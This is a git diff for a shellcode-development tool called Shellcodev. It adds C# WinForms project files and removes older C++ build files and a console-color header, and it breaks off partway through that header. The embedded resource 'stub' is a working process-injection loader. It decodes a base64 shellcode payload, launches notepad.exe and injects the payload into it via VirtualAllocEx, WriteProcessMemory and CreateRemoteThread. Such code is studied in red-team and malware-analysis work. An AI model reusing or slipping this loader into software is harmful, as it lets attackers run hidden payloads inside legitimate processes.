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 + + + \ No newline at end of file diff --git a/Shellcodev/Program.cs b/Shellcodev/Program.cs new file mode 100644 index 0000000..b9a1e15 --- /dev/null +++ b/Shellcodev/Program.cs @@ -0,0 +1,19 @@ +using System; +using System.Windows.Forms; + +namespace Shellcodev +{ + internal static class Program + { + /// + /// The main entry point for the application. + /// + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Forms.Main()); + } + } +} diff --git a/Shellcodev/Properties/AssemblyInfo.cs b/Shellcodev/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..daa92c5 --- /dev/null +++ b/Shellcodev/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Shellcodev")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Shellcodev")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("b00c54fa-db0d-41b7-951e-39bd93d9fe20")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Shellcodev/Properties/Resources.Designer.cs b/Shellcodev/Properties/Resources.Designer.cs new file mode 100644 index 0000000..02830b7 --- /dev/null +++ b/Shellcodev/Properties/Resources.Designer.cs @@ -0,0 +1,87 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Shellcodev.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Shellcodev.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized string similar to using System; + ///using System.Diagnostics; + ///using System.Runtime.InteropServices; + /// + ///namespace Stub + ///{ + /// class API + /// { + /// [DllImport("kernel32.dll")] + /// public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + /// + /// [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + /// public static extern IntPtr GetModuleHandle(string lpModuleName); + /// + /// [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + /// [rest of string was truncated]";. + /// + internal static string stub { + get { + return ResourceManager.GetString("stub", resourceCulture); + } + } + } +} diff --git a/Shellcodev/Properties/Resources.resx b/Shellcodev/Properties/Resources.resx new file mode 100644 index 0000000..4eb22e8 --- /dev/null +++ b/Shellcodev/Properties/Resources.resx @@ -0,0 +1,168 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +namespace Stub +{ + class API + { + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll")] + public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + } + + class stub + { + public static void Main() + { + string payload = "[PAYLOAD]"; + byte[] shellcode = Convert.FromBase64String(payload); + + int pid = Process.Start("notepad.exe").Id; + IntPtr pHandle = API.OpenProcess(0x1F0FFF, false, pid); + + IntPtr memAlloc = API.VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, 0x00001000, 0x40); + + UIntPtr bytesWritten; + API.WriteProcessMemory(pHandle, memAlloc, shellcode, (uint)shellcode.Length, out bytesWritten); + + API.CreateRemoteThread(pHandle, IntPtr.Zero, 0, memAlloc, IntPtr.Zero, 0, IntPtr.Zero); + } + } +} + + \ No newline at end of file diff --git a/Shellcodev/Properties/Settings.Designer.cs b/Shellcodev/Properties/Settings.Designer.cs new file mode 100644 index 0000000..7c0f13a --- /dev/null +++ b/Shellcodev/Properties/Settings.Designer.cs @@ -0,0 +1,30 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Shellcodev.Properties +{ + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase + { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default + { + get + { + return defaultInstance; + } + } + } +} diff --git a/Shellcodev/Properties/Settings.settings b/Shellcodev/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Shellcodev/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Shellcodev/Shellcodev.csproj b/Shellcodev/Shellcodev.csproj new file mode 100644 index 0000000..0ed8d42 --- /dev/null +++ b/Shellcodev/Shellcodev.csproj @@ -0,0 +1,133 @@ + + + + + Debug + AnyCPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20} + WinExe + Shellcodev + Shellcodev + v4.8 + 512 + true + true + publish\ + true + Disk + false + Foreground + 7 + Days + false + false + true + 0 + 1.0.0.%2a + false + false + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + true + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + true + + + shellcodev2.ico + + + + + + + + + + + + + + + + + + + + + + Form + + + Generator.cs + + + Form + + + Main.cs + + + + + Generator.cs + + + Main.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + False + Microsoft .NET Framework 4.8 %28x86 and x64%29 + true + + + False + .NET Framework 3.5 SP1 + false + + + + + + + \ No newline at end of file diff --git a/Shellcodev/Shellcodev.vcxproj b/Shellcodev/Shellcodev.vcxproj deleted file mode 100644 index c10f47d..0000000 --- a/Shellcodev/Shellcodev.vcxproj +++ /dev/null @@ -1,157 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - - - - - - - - - - - - - - - - - 16.0 - Win32Proj - {460a5496-23bb-4310-b45d-12d13745007b} - Shellcodev - 10.0 - - - - Application - true - v143 - Unicode - - - Application - false - v143 - true - Unicode - - - Application - true - v143 - Unicode - - - Application - false - v143 - true - Unicode - - - - - - - - - - - - - - - - - - - - - - Level3 - true - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - Default - true - $(SolutionDir)asmtk\src;$(SolutionDir)asmjit\src;%(AdditionalIncludeDirectories) - - - Console - true - $(SolutionDir)asmtk\build_vs2022_x86\Debug;$(SolutionDir)asmjit\build_vs2022_x86\Debug;%(AdditionalLibraryDirectories) - asmjit.lib;asmtk.lib;%(AdditionalDependencies) - - - - - Level3 - true - true - true - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - Level3 - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - $(SolutionDir)asmtk\src;$(SolutionDir)asmjit\src;%(AdditionalIncludeDirectories) - true - - - Console - true - $(SolutionDir)asmjit\build_vs2022_x64\Debug;$(SolutionDir)asmtk\build_vs2022_x64\Debug;%(AdditionalLibraryDirectories) - asmjit.lib;asmtk.lib;%(AdditionalDependencies) - - - - - Level3 - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - - - - - - \ No newline at end of file diff --git a/Shellcodev/Shellcodev.vcxproj.filters b/Shellcodev/Shellcodev.vcxproj.filters deleted file mode 100644 index f14e283..0000000 --- a/Shellcodev/Shellcodev.vcxproj.filters +++ /dev/null @@ -1,57 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Header Files - - - Header Files - - - Header Files - - - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - Source Files - - - \ No newline at end of file diff --git a/Shellcodev/color.hpp b/Shellcodev/color.hpp deleted file mode 100644 index 4ef295c..0000000 --- a/Shellcodev/color.hpp +++ /dev/null @@ -1,878 +0,0 @@ -#ifndef COLOR_HPP -#define COLOR_HPP - -#include -#include -#include -#include -#include -#include -#include -#include - -namespace hue -{ - constexpr int DEFAULT_COLOR = 7; - constexpr int BAD_COLOR = -256; - - const std::map CODES = { - {"black", 0}, {"k", 0}, - {"blue", 1}, {"b", 1}, - {"green", 2}, {"g", 2}, - {"aqua", 3}, {"a", 3}, - {"red", 4}, {"r", 4}, - {"purple", 5}, {"p", 5}, - {"yellow", 6}, {"y", 6}, - {"white", 7}, {"w", 7}, - {"grey", 8}, {"e", 8}, - {"light blue", 9}, {"lb", 9}, - {"light green", 10}, {"lg", 10}, - {"light aqua", 11}, {"la", 11}, - {"light red", 12}, {"lr", 12}, - {"light purple", 13}, {"lp", 13}, - {"light yellow", 14}, {"ly", 14}, - {"bright white", 15}, {"bw", 15} - }; - - const std::map NAMES = { - { 0, "black"}, - { 1, "blue"}, - { 2, "green"}, - { 3, "aqua"}, - { 4, "red"}, - { 5, "purple"}, - { 6, "yellow"}, - { 7, "white"}, - { 8, "grey"}, - { 9, "light blue"}, - {10, "light green"}, - {11, "light aqua"}, - {12, "light red"}, - {13, "light purple"}, - {14, "light yellow"}, - {15, "bright white"} - }; - - inline bool is_good(int c) - { - return 0 <= c && c < 256; - } - - inline int itoc(int c) - { - return is_good(c) ? c : BAD_COLOR; - } - - inline int itoc(int a, int b) - { - return itoc(a + b * 16); - } - - // std::string to color - int stoc(std::string a) - { - // convert s to lowercase, and format variants like "light_blue" - std::transform(a.begin(), a.end(), a.begin(), [](char c) - { - if ('A' <= c && c <= 'Z') - c = c - 'A' + 'a'; - else if (c == '_' || c == '-') - c = ' '; - return c; - }); - - // operator[] on std::map is non-const, use std::map::at instead - return (CODES.find(a) != CODES.end()) ? CODES.at(a) : BAD_COLOR; - } - - int stoc(std::string a, std::string b) - { - return itoc(stoc(a), stoc(b)); - } - - std::string ctos(int c) - { - return (0 <= c && c < 256) ? - "(text) " + NAMES.at(c % 16) + " + " + - "(background) " + NAMES.at(c / 16) : - "BAD COLOR"; - } - - int get() - { - CONSOLE_SCREEN_BUFFER_INFO i; - return GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &i) ? - i.wAttributes : BAD_COLOR; - } - - int get_text() - { - return (get() != BAD_COLOR) ? get() % 16 : BAD_COLOR; - } - - int get_background() - { - return (get() != BAD_COLOR) ? get() / 16 : BAD_COLOR; - } - - void set(int c) - { - if (is_good(c)) - SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), c); - } - - void set(int a, int b) - { - set(a + b * 16); - } - - void set(std::string a, std::string b) - { - set(stoc(a) + stoc(b) * 16); - } - - void set_text(std::string a) - { - set(stoc(a), get_background()); - } - - void set_background(std::string b) - { - set(get_text(), stoc(b)); - } - - void reset() - { - set(DEFAULT_COLOR); - } - - int invert(int c) - { - if (is_good(c)) { - int a = c % 16; - int b = c / 16; - return b + a * 16; - } - else - return BAD_COLOR; - } - - std::ostream& reset(std::ostream& os) { reset(); return os; } - std::ostream& black(std::ostream& os) { set_text("k"); return os; } - std::ostream& blue(std::ostream& os) { set_text("b"); return os; } - std::ostream& green(std::ostream& os) { set_text("g"); return os; } - std::ostream& aqua(std::ostream& os) { set_text("a"); return os; } - std::ostream& red(std::ostream& os) { set_text("r"); return os; } - std::ostream& purple(std::ostream& os) { set_text("p"); return os; } - std::ostream& yellow(std::ostream& os) { set_text("y"); return os; } - std::ostream& white(std::ostream& os) { set_text("w"); return os; } - std::ostream& grey(std::ostream& os) { set_text("e"); return os; } - std::ostream& light_blue(std::ostream& os) { set_text("lb"); return os; } - std::ostream& light_green(std::ostream& os) { set_text("lg"); return os; } - std::ostream& light_aqua(std::ostream& os) { set_text("la"); return os; } - std::ostream& light_red(std::ostream& os) { set_text("lr"); return os; } - std::ostream& light_purple(std::ostream& os) { set_text("lp"); return os; } - std::ostream& light_yellow(std::ostream& os) { set_text("ly"); return os; } - std::ostream& bright_white(std::ostream& os) { set_text("bw"); return os; } - std::ostream& on_black(std::ostream& os) { set_background("k"); return os; } - std::ostream& on_blue(std::ostream& os) { set_background("b"); return os; } - std::ostream& on_green(std::ostream& os) { set_background("g"); return os; } - std::ostream& on_aqua(std::ostream& os) { set_background("a"); return os; } - std::ostream& on_red(std::ostream& os) { set_background("r"); return os; } - std::ostream& on_purple(std::ostream& os) { set_background("p"); return os; } - std::ostream& on_yellow(std::ostream& os) { set_background("y"); return os; } - std::ostream& on_white(std::ostream& os) { set_background("w"); return os; } - std::ostream& on_grey(std::ostream& os) { set_background("e"); return os; } - std::ostream& on_light_blue(std::ostream& os) { set_background("lb"); return os; } - std::ostream& on_light_green(std::ostream& os) { set_background("lg"); return os; } - std::ostream& on_light_aqua(std::ostream& os) { set_background("la"); return os; } - std::ostream& on_light_red(std::ostream& os) { set_background("lr"); return os; } - std::ostream& on_light_purple(std::ostream& os) { set_background("lp"); return os; } - std::ostream& on_light_yellow(std::ostream& os) { set_background("ly"); return os; } - std::ostream& on_bright_white(std::ostream& os) { set_background("bw"); return os; } - std::ostream& black_on_black(std::ostream& os) { set("k", "k"); return os; } - std::ostream& black_on_blue(std::ostream& os) { set("k", "b"); return os; } - std::ostream& black_on_green(std::ostream& os) { set("k", "g"); return os; } - std::ostream& black_on_aqua(std::ostream& os) { set("k", "a"); return os; } - std::ostream& black_on_red(std::ostream& os) { set("k", "r"); return os; } - std::ostream& black_on_purple(std::ostream& os) { set("k", "p"); return os; } - std::ostream& black_on_yellow(std::ostream& os) { set("k", "y"); return os; } - std::ostream& black_on_white(std::ostream& os) { set("k", "w"); return os; } - std::ostream& black_on_grey(std::ostream& os) { set("k", "e"); return os; } - std::ostream& black_on_light_blue(std::ostream& os) { set("k", "lb"); return os; } - std::ostream& black_on_light_green(std::ostream& os) { set("k", "lg"); return os; } - std::ostream& black_on_light_aqua(std::ostream& os) { set("k", "la"); return os; } - std::ostream& black_on_light_red(std::ostream& os) { set("k", "lr"); return os; } - std::ostream& black_on_light_purple(std::ostream& os) { set("k", "lp"); return os; } - std::ostream& black_on_light_yellow(std::ostream& os) { set("k", "ly"); return os; } - std::ostream& black_on_bright_white(std::ostream& os) { set("k", "bw"); return os; } - std::ostream& blue_on_black(std::ostream& os) { set("b", "k"); return os; } - std::ostream& blue_on_blue(std::ostream& os) { set("b", "b"); return os; } - std::ostream& blue_on_green(std::ostream& os) { set("b", "g"); return os; } - std::ostream& blue_on_aqua(std::ostream& os) { set("b", "a"); return os; } - std::ostream& blue_on_red(std::ostream& os) { set("b", "r"); return os; } - std::ostream& blue_on_purple(std::ostream& os) { set("b", "p"); return os; } - std::ostream& blue_on_yellow(std::ostream& os) { set("b", "y"); return os; } - std::ostream& blue_on_white(std::ostream& os) { set("b", "w"); return os; } - std::ostream& blue_on_grey(std::ostream& os) { set("b", "e"); return os; } - std::ostream& blue_on_light_blue(std::ostream& os) { set("b", "lb"); return os; } - std::ostream& blue_on_light_green(std::ostream& os) { set("b", "lg"); return os; } - std::ostream& blue_on_light_aqua(std::ostream& os) { set("b", "la"); return os; } - std::ostream& blue_on_light_red(std::ostream& os) { set("b", "lr"); return os; } - std::ostream& blue_on_light_purple(std::ostream& os) { set("b", "lp"); return os; } - std::ostream& blue_on_light_yellow(std::ostream& os) { set("b", "ly"); return os; } - std::ostream& blue_on_bright_white(std::ostream& os) { set("b", "bw"); return os; } - std::ostream& green_on_black(std::ostream& os) { set("g", "k"); return os; } - std::ostream& green_on_blue(std::ostream& os) { set("g", "b"); return os; } - std::ostream& green_on_green(std::ostream& os) { set("g", "g"); return os; } - std::ostream& green_on_aqua(std::ostream& os) { set("g", "a"); return os; } - std::ostream& green_on_red(std::ostream& os) { set("g", "r"); return os; } - std::ostream& green_on_purple(std::ostream& os) { set("g", "p"); return os; } - std::ostream& green_on_yellow(std::ostream& os) { set("g", "y"); return os; } - std::ostream& green_on_white(std::ostream& os) { set("g", "w"); return os; } - std::ostream& green_on_grey(std::ostream& os) { set("g", "e"); return os; } - std::ostream& green_on_light_blue(std::ostream& os) { set("g", "lb"); return os; } - std::ostream& green_on_light_green(std::ostream& os) { set("g", "lg"); return os; } - std::ostream& green_on_light_aqua(std::ostream& os) { set("g", "la"); return os; } - std::ostream& green_on_light_red(std::ostream& os) { set("g", "lr"); return os; } - std::ostream& green_on_light_purple(std::ostream& os) { set("g", "lp"); return os; } - std::ostream& green_on_light_yellow(std::ostream& os) { set("g", "ly"); return os; } - std::ostream& green_on_bright_white(std::ostream& os) { set("g", "bw"); return os; } - std::ostream& aqua_on_black(std::ostream& os) { set("a", "k"); return os; } - std::ostream& aqua_on_blue(std::ostream& os) { set("a", "b"); return os; } - std::ostream& aqua_on_green(std::ostream& os) { set("a", "g"); return os; } - std::ostream& aqua_on_aqua(std::ostream& os) { set("a", "a"); return os; } - std::ostream& aqua_on_red(std::ostream& os) { set("a", "r"); return os; } - std::ostream& aqua_on_purple(std::ostream& os) { set("a", "p"); return os; } - std::ostream& aqua_on_yellow(std::ostream& os) { set("a", "y"); return os; } - std::ostream& aqua_on_white(std::ostream& os) { set("a", "w"); return os; } - std::ostream& aqua_on_grey(std::ostream& os) { set("a", "e"); return os; } - std::ostream& aqua_on_light_blue(std::ostream& os) { set("a", "lb"); return os; } - std::ostream& aqua_on_light_green(std::ostream& os) { set("a", "lg"); return os; } - std::ostream& aqua_on_light_aqua(std::ostream& os) { set("a", "la"); return os; } - std::ostream& aqua_on_light_red(std::ostream& os) { set("a", "lr"); return os; } - std::ostream& aqua_on_light_purple(std::ostream& os) { set("a", "lp"); return os; } - std::ostream& aqua_on_light_yellow(std::ostream& os) { set("a", "ly"); return os; } - std::ostream& aqua_on_bright_white(std::ostream& os) { set("a", "bw"); return os; } - std::ostream& red_on_black(std::ostream& os) { set("r", "k"); return os; } - std::ostream& red_on_blue(std::ostream& os) { set("r", "b"); return os; } - std::ostream& red_on_green(std::ostream& os) { set("r", "g"); return os; } - std::ostream& red_on_aqua(std::ostream& os) { set("r", "a"); return os; } - std::ostream& red_on_red(std::ostream& os) { set("r", "r"); return os; } - std::ostream& red_on_purple(std::ostream& os) { set("r", "p"); return os; } - std::ostream& red_on_yellow(std::ostream& os) { set("r", "y"); return os; } - std::ostream& red_on_white(std::ostream& os) { set("r", "w"); return os; } - std::ostream& red_on_grey(std::ostream& os) { set("r", "e"); return os; } - std::ostream& red_on_light_blue(std::ostream& os) { set("r", "lb"); return os; } - std::ostream& red_on_light_green(std::ostream& os) { set("r", "lg"); return os; } - std::ostream& red_on_light_aqua(std::ostream& os) { set("r", "la"); return os; } - std::ostream& red_on_light_red(std::ostream& os) { set("r", "lr"); return os; } - std::ostream& red_on_light_purple(std::ostream& os) { set("r", "lp"); return os; } - std::ostream& red_on_light_yellow(std::ostream& os) { set("r", "ly"); return os; } - std::ostream& red_on_bright_white(std::ostream& os) { set("r", "bw"); return os; } - std::ostream& purple_on_black(std::ostream& os) { set("p", "k"); return os; } - std::ostream& purple_on_blue(std::ostream& os) { set("p", "b"); return os; } - std::ostream& purple_on_green(std::ostream& os) { set("p", "g"); return os; } - std::ostream& purple_on_aqua(std::ostream& os) { set("p", "a"); return os; } - std::ostream& purple_on_red(std::ostream& os) { set("p", "r"); return os; } - std::ostream& purple_on_purple(std::ostream& os) { set("p", "p"); return os; } - std::ostream& purple_on_yellow(std::ostream& os) { set("p", "y"); return os; } - std::ostream& purple_on_white(std::ostream& os) { set("p", "w"); return os; } - std::ostream& purple_on_grey(std::ostream& os) { set("p", "e"); return os; } - std::ostream& purple_on_light_blue(std::ostream& os) { set("p", "lb"); return os; } - std::ostream& purple_on_light_green(std::ostream& os) { set("p", "lg"); return os; } - std::ostream& purple_on_light_aqua(std::ostream& os) { set("p", "la"); return os; } - std::ostream& purple_on_light_red(std::ostream& os) { set("p", "lr"); return os; } - std::ostream& purple_on_light_purple(std::ostream& os) { set("p", "lp"); return os; } - std::ostream& purple_on_light_yellow(std::ostream& os) { set("p", "ly"); return os; } - std::ostream& purple_on_bright_white(std::ostream& os) { set("p", "bw"); return os; } - std::ostream& yellow_on_black(std::ostream& os) { set("y", "k"); return os; } - std::ostream& yellow_on_blue(std::ostream& os) { set("y", "b"); return os; } - std::ostream& yellow_on_green(std::ostream& os) { set("y", "g"); return os; } - std::ostream& yellow_on_aqua(std::ostream& os) { set("y", "a"); return os; } - std::ostream& yellow_on_red(std::ostream& os) { set("y", "r"); return os; } - std::ostream& yellow_on_purple(std::ostream& os) { set("y", "p"); return os; } - std::ostream& yellow_on_yellow(std::ostream& os) { set("y", "y"); return os; } - std::ostream& yellow_on_white(std::ostream& os) { set("y", "w"); return os; } - std::ostream& yellow_on_grey(std::ostream& os) { set("y", "e"); return os; } - std::ostream& yellow_on_light_blue(std::ostream& os) { set("y", "lb"); return os; } - std::ostream& yellow_on_light_green(std::ostream& os) { set("y", "lg"); return os; } - std::ostream& yellow_on_light_aqua(std::ostream& os) { set("y", 